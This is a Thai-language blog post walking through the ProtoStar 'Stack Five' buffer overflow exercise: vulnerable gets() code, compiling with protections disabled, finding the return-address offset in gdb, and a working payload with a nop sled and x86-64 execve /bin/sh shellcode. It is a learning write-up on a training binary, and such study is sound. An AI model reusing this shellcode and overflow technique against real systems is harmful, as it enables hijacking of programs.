Natsuiro XCN
3 min readNov 13, 2023

วันนี้ผมนึกขึ้นได้ถึงวิธีที่จะแก้ปัญหาเกี่ยวกับ binary exploitation ที่ผมได้เคยถามไว้ใน stack overflow เมื่อประมาณ1ปีที่แล้วออก

https://stackoverflow.com/questions/74661147/segmentation-fault-at-nop-sled-stack-buffer-overflow

น่าเศร้านะครับ ไม่มีใครมาตอบผมเลย 😭
แต่ก็นั้นแหละครับ วันนี้ผมจะมาแชร์เกี่ยวกับปัญหาที่ผมเจอ และ วิธีแก้ครับ!

อันดับแรกผมขอเลือกchallenge จาก ProtoStar หัวข้อ Stack five มาใช้ในครั้งนี้นะครับ เพราะว่าเป็นหัวข้อเกี่ยบกับ Stack shell code เหมือนกัน c

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
char buffer[64];

gets(buffer);
}

Basic ครับ เริ่มจากการนำ source code มา compile เป็น binary ครับโดยการใช้ flag ต่างๆที่เอาไว้ปิด pie, stack canary และ nx ครับ

gcc what.c -fno-stack-protector -no-pie -z execstack -o proto5

แล้วก็ pwn checksec ครับ

เห็นแล้วใช่ไหมครับว่า ตอนนี้ทุกอย่างปิดหมดแล้ว ได้เวลาเริ่ม buffer overflow ครับ เริ่มจากการ debug program

disassemble main และ set break point

ตั้ง breakpoint ไว้ที่function leavee ก่อนจะถึง return เพื่อที่จะได้ดู stack
ตรง sub rsp, 0x50 ทำให้เราเดาได้ว่า เราน่าจะต้องเตรียม buffer ประมาณ 0x50–0x8 หรือก็คือ 0x48 เพื่อที่ byte อีก 8 ตัว จะไปถึง return pointer พอดี

เริ่มการเขียน payload ครับ

r <<< $(python -c 'import sys; sys.stdout.write("A"*0x48)';echo -e '\x90\x90\x90\x90\x90\x90\x90\x90')
rsp ถูกเปลี่ยน

ครับผม ตอนนี้เราจะเห็นได้ว่ามันเป็น SIGSEGV หรือ segmentation fault ก็คือไม่สามารถ jmp ไปยังตำแหน่งที่เรากำลัง point อยู่ได้
ซึ่ง ret instruction มีหน้าที่อ่าน register rsp หรือ stack pointer หรือ ก็คือค่าที่อยู่บนสุดของ stack แล้วก็ jmp ไปที่ๆมันกำลัง point อยู่

งงไหมครับ 5555
ในกรณีนี้ หากดูจากภาพจะเห็นได้ว่า rsp กำลัง point ไปที่ค่า 0x909090909090 หรือก็คือ เป็น address ที่ invalide แล้วเมื่อเกิดการ jmp ไปก็จะเกิด segmentation fault นั้นเองครับบบบ

ซึ่งตรงนี้เองก็คือจุดที่ตัวผมเมื่อ1ปีก่อนได้ติดตรงนี้นี่แหละครับ 55555

ไม่มีใครช่วยตอบเลยครับ เศร้ามาก😭

แล้ว ถ้าอย่างงั้น เราจะต้องjmpไปที่ตรง address ไหนกันล่ะ

จำได้อยู่ไหมครับ ว่าตอนนี้เราปิด nx หรือ non executeable stack ไปแล้ว ทำให้ตอนนี้เราสามารถ execute instruction ที่อยู่บน stack ได้ เพราะฉนั้นตอนนี้ที่ ret instruction breakpoint เราสามารถดู rsp register ว่ามันpoint ไปยังส่วนไหนของ stack ได้ครับ!

data ที่เราได้ใส่เข้าไปใน buffer จะไปอยู่บน stack ทั้งหมดครับ โดยจะเริ่มจากบน (Top stack)และ buffer overflow ลงไปด้านล่าง (ถ้าไม่มี pie) และสุดท้ายจะสามารถ hijack return pointer ได้ครับ

แต่ว่า ถ้าเกิดเรายัง buffer overflow ลงต่อไปเรื่อยๆเราก็ยังสามารถใส่ data เข้าไปบน stack ลงไปเรื่อยๆได้ ลองนึกภาพตามผมนะครับ

memory owo

สมมุติว่าเราใส่ shell ลงไปหลังจากจุดที่เรา buffer overflow เพื่อควบคุม return pointer แล้วในตรงส่วนตรงนั้น ก็จะไปทับกับ local variable ของฟังชั่นก์ก่อนๆหน้า
แต่ใครสนละ ขอแค่เราได้ shell ก็พอแล้ว

ทีนี้ในส่วนของ instruction ret เราก็มีหน้าที่แค่ set ค่าให้เป็นตำแหน่งของ rsp ให้ไปยังตำแหน่ง rsp + offset ซึ่ง offset ก็คือตำแหน่งต่อไป 8 byte จาก rsp นั้นเอง เพราะว่า 1 instruction มี 8 byte ใน 64 bit ครับบบ (0x40-0x38=0x8)

ทีนี้ผมขอลองเปลี่ยน rsp เป็นค่า rsp โดยที่ไม่ต้อง + offset เพิ่มก่อนให้ดูนะครับ

โดยใช้ payload gdbตัวนี้เลย

r <<< $(python -c 'import sys; sys.stdout.write("A"*0x48)';echo -e '\x38\xde\xff\xff\xff\x7f\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90')
loop detected

ทีนี้เราลอง Print stack ออกมาดูกันครับ โดยใช้ x/10x $rsp เพื่อเอาค่าหลังจาก rsp 10 block ออกมาดูครับ

sad

เห็นไหมครับ ว่าถัดจาก return address ไป 8 byte ก็เป็น shell code ของเราแล้ว แล้วก็เปลี่ยนเลขใน payload จาก 38 ไป 40 ครับ

r <<< $(python -c 'import sys; sys.stdout.write("A"*0x48)';echo -e '\x40\xde\xff\xff\xff\x7f\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90')

เท่านี้เราก็จะเห็น nop sled หรือก็คือ \x90 ที่เราได้เขียนเอาไว้นั้นเองครับ ได้เวลาเอา shell ของเราไปลงจริงๆแล้ว

โดยผมจะใช้ shell ตัวนี้นะครับ เป็น linux x86–64 exec /bin/sh

 r <<< $(echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x40\xde\xff\xff\xff\x7f\x00\x00\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05')
r <<< $(echo "whoami")

แค่นี้เลยครับผมทุกคนนน
ขอจบหัวข้อที่กวนใจผมเมื่อ1ปีก่อนเอาไว้เพียงเท่านี้ครับ
หากมีคำถามตรงไหน หรือสงสัยอะไรทักมาหาผมได้เลยนะครับผมม
discord : natsuiro_xcn
facebook : Xcn Nate

以上です!